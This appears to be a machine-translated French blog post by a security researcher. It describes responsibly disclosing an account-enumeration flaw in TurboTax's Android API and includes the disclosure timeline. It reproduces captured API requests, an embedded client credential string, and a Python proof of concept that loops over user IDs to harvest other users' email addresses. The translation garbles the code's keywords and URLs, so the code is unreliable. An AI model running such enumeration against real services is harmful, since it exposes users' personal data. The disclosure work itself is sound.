Vulnérabilité de confidentialité dans l'API de TurboTax

Dans l’esprit du jour de l’impôt, je souhaitais écrire sur mon expérience en matière de dénonciation d’une faille dans la protection de la vie privée dans le logiciel de préparation des déclarations d’impôt le plus répandu sur le marché, à savoir la taxe sur l’impôt Turbo de Intuit. J'utilise ImpôtRapide depuis plusieurs années pour mes impôts et cette année, j'ai découvert qu'ils offraient une application Android. Au début, je me demandais si les gens imposaient réellement des taxes sur leur téléphone, bien que pour la défense de Intuit, l'application semble être davantage adaptée aux tablettes. Étant donné que TurboTax contient certaines de mes données les plus sensibles disponibles, j'ai décidé de regarder de plus près dans leur application. Cela m'a amené à découvrir une vulnérabilité permettant l'énumération des comptes de messagerie de chaque utilisateur de leur système. Bien qu’il ne s’agisse pas d’une vulnérabilité critique, c’était un problème de confidentialité qui méritait d’être signalé et résolu.

En capturant les demandes Web, j'ai remarqué un appel intéressant pour récupérer mes informations utilisateur:

 GET //accounts-tax.platform.intuit.com/v1/users/me HTTP / 1.1 Autorisation: *** SUPPRIMÉ *** intuit_appid: Intuit.cg.ttu.android Accepter: application / json OfferingInfo: {"sku" : "0", "priorityCode": "1877700000"} Agent utilisateur: Dalvik / 1.6.0 (Linux; U; Android 4.4.2; SCH-I545 Build / KOT49H) Hôte: accounts-tax.platform.intuit.com Connexion: Accept-Encodage Keep-Alive: gzip 

La réponse est ci-dessous:

 {"userId": "165140357", "nom d'utilisateur": "rwestergren05", "namespaceId": "50000003", "securityLevel": "HIGH", "challengeQuestionAnswer": [{"question": "Quelle était la marque de votre première voiture? ", " répondre ":" *** SUPPRIMÉ *** "}], " email ": {" primaire ": vrai, " adresse ":" ***REMOVED***@gmail.com ", "statut inconnu" } } 

C'est un modèle de conception courant à utiliser / me en tant que paramètre afin de récupérer les informations de l'utilisateur actuel, plutôt que de spécifier son ID utilisateur. Dans ces cas, le dernier segment d'URI acceptera généralement également un ID utilisateur pour fournir un accès aux informations de profil des autres utilisateurs de l'application. L'URL suivante (à l'aide de mon ID utilisateur) a reçu la même réponse que précédemment: //accounts-tax.platform.intuit.com/v1/users/165140357. Ensuite, je voulais voir la réponse lorsque je demandais des informations à d’autres utilisateurs. La décrémentation de cet ID d'un point et l'exécution de la même demande ont généré la réponse suivante:

 {"email": "***REMOVED***@another-domain.com"} 

Le point de terminaison a au moins fait une distinction entre l'utilisateur connecté et l'ID utilisateur demandé, bien qu'il ait toujours exposé l'adresse électronique de chaque utilisateur du système. Encore une fois, il ne s’agit pas d’une vulnérabilité époustouflante, mais les utilisateurs n’apprécient généralement pas que leurs adresses de courrier électronique soient dévoilées par tous les acteurs malveillants.

J'ai écrit le PoC suivant pour démontrer l'exploit pour l'équipe de sécurité d'Intuit:

 demandes d'importation # Remplacez les informations d'identification valides validUsername = "rwestergren05" validPassword = "" def do_login (nom d'utilisateur, mot de passe): "" "Get temp access_token" "" bearer_url = "//oauth-tax.platform.platform.pluit.intuit.com/oauth2/v / jetons / porteur "data = "grant_type = client_credentials" bearer_headers = { "Content-type": "application / x-www-form-urlencoded; charset = UTF-8", "autorisation": "Basic cTBpN0ozcjRHNmt0ME5aOXRLd0dXbTJ1STlBN3hVSXVkN2FLTk9VQ01LbEVzNW1hbFY6Y0ZacXRxajk3bmlmd"" XVIVGxiaUlBMTNxV3NYc1RNTUlWNnlQUGpVeg = = "} r = requests.post (url = bearer_url, data = données, en-têtes = bearer_headers) temp_token = r.json (). get (" access_token ")" "" Connectez-vous, obtenez le code d'autorisation "" "url =" //accesser- v1 "}, " mot de passe ":"% s ", " nom d'utilisateur ":"% s "} '% (mot de passe, nom d'utilisateur) headers = {" Content-Type ":" application / json ", " Autorisation ":" Porteur "+ temp_token, " intuit_risk_profiling_data ":" 880c2310-4440-11e4-916c-0800200c9a66 & wl6hiimpylfpyf59p32g2e0ph9t4f170 "} p = requests.post (url, ur oauth2CodeResponse "). get (" code ")" "" Code d'autorisation Exchange pour access_token "" "data =" grant_code = code_autorisation & code = "+ code +" & redirect_uri = https% 3A% 2F% 2Foauth2.intuit.com% 2Fnativeredirect% 2Fv1 "r = requests.post (url = bearer_url, data = data, headers = bearer_headers) access_token = r.json (). get (" access_token ") print (" jeton d'accès: "+ access_token) return access_token access_token = do_login (identifiant) = validUsername, mot de passe = validPassword) url = "//accounts-tax.platform.intuit.com/v1/users/" headers = {"Authorization": "Bearer" + access_token} mid = 165140356 count = 0 limite = 5 tant que count <limite: get_url = url + "% d"% mid r = requests.get (get_url, en-têtes = en-têtes) si "INVALID_IDENTITY_ID" n'est pas dans r.text: print (r.text) count + = 1 mid - = 1 

J'ai été impressionné par le fait qu'Intuit disposait d'un processus officiel pour signaler les vulnérabilités en matière de sécurité, ce qui permettait de contacter facilement l'équipe appropriée pour corriger le problème.

Calendrier de divulgation

2015-01-12: Rapport initial envoyé

2015-01-13: Réponse reçue demandant plus de détails

13/01/2015: PoC détaillé envoyé (ci-dessus)

2015-01-20: Réception de la réponse selon laquelle ils valident le problème

2015-01-21: Réponse reçue me demandant ma sortie lors de l'exécution de PoC

2015-01-21: Exemple de sortie envoyé

2015-01-21: Reconnaissance de la vulnérabilité, remédiation en cours

27/01/2015: Je fais le suivi sur le correctif

2015-01-31: Mise à jour reçue: contrôles d'atténuation en place, correctif prévu

2015-02-05: Mise à jour reçue: surveillance des abus en place, mais correctif toujours prévu. Aucun abus d'API trouvé.

2015-02-26: Mise à jour reçue: correctif publié et confirmé

Intuit a été extrêmement sensible au cours de ce processus. Le rapport est arrivé à la période la plus occupée de l'année et, même si le délai fixé pour la résolution du problème peut sembler prolongé, ils ont immédiatement pris des mesures pour surveiller tout abus de la vulnérabilité. Comme Intuit l'a expliqué, leur objectif était de protéger les données des clients tout en veillant à ce que le service ne soit pas interrompu au cours du processus d'atténuation. L'équipe de sécurité d'Intuit a exprimé sa profonde reconnaissance pour mon rapport et m'a ajouté à sa page Remerciements du chercheur en sécurité.